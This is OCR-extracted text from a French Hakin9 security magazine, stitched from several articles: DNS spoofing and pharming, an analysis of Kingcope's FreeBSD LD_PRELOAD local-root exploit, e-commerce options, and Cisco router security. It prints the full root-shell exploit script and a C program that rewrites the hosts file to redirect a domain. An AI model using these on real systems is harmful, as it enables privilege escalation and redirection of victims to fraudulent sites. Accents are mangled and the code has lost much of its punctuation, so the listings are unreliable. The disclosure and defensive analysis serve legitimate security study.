Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 9: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

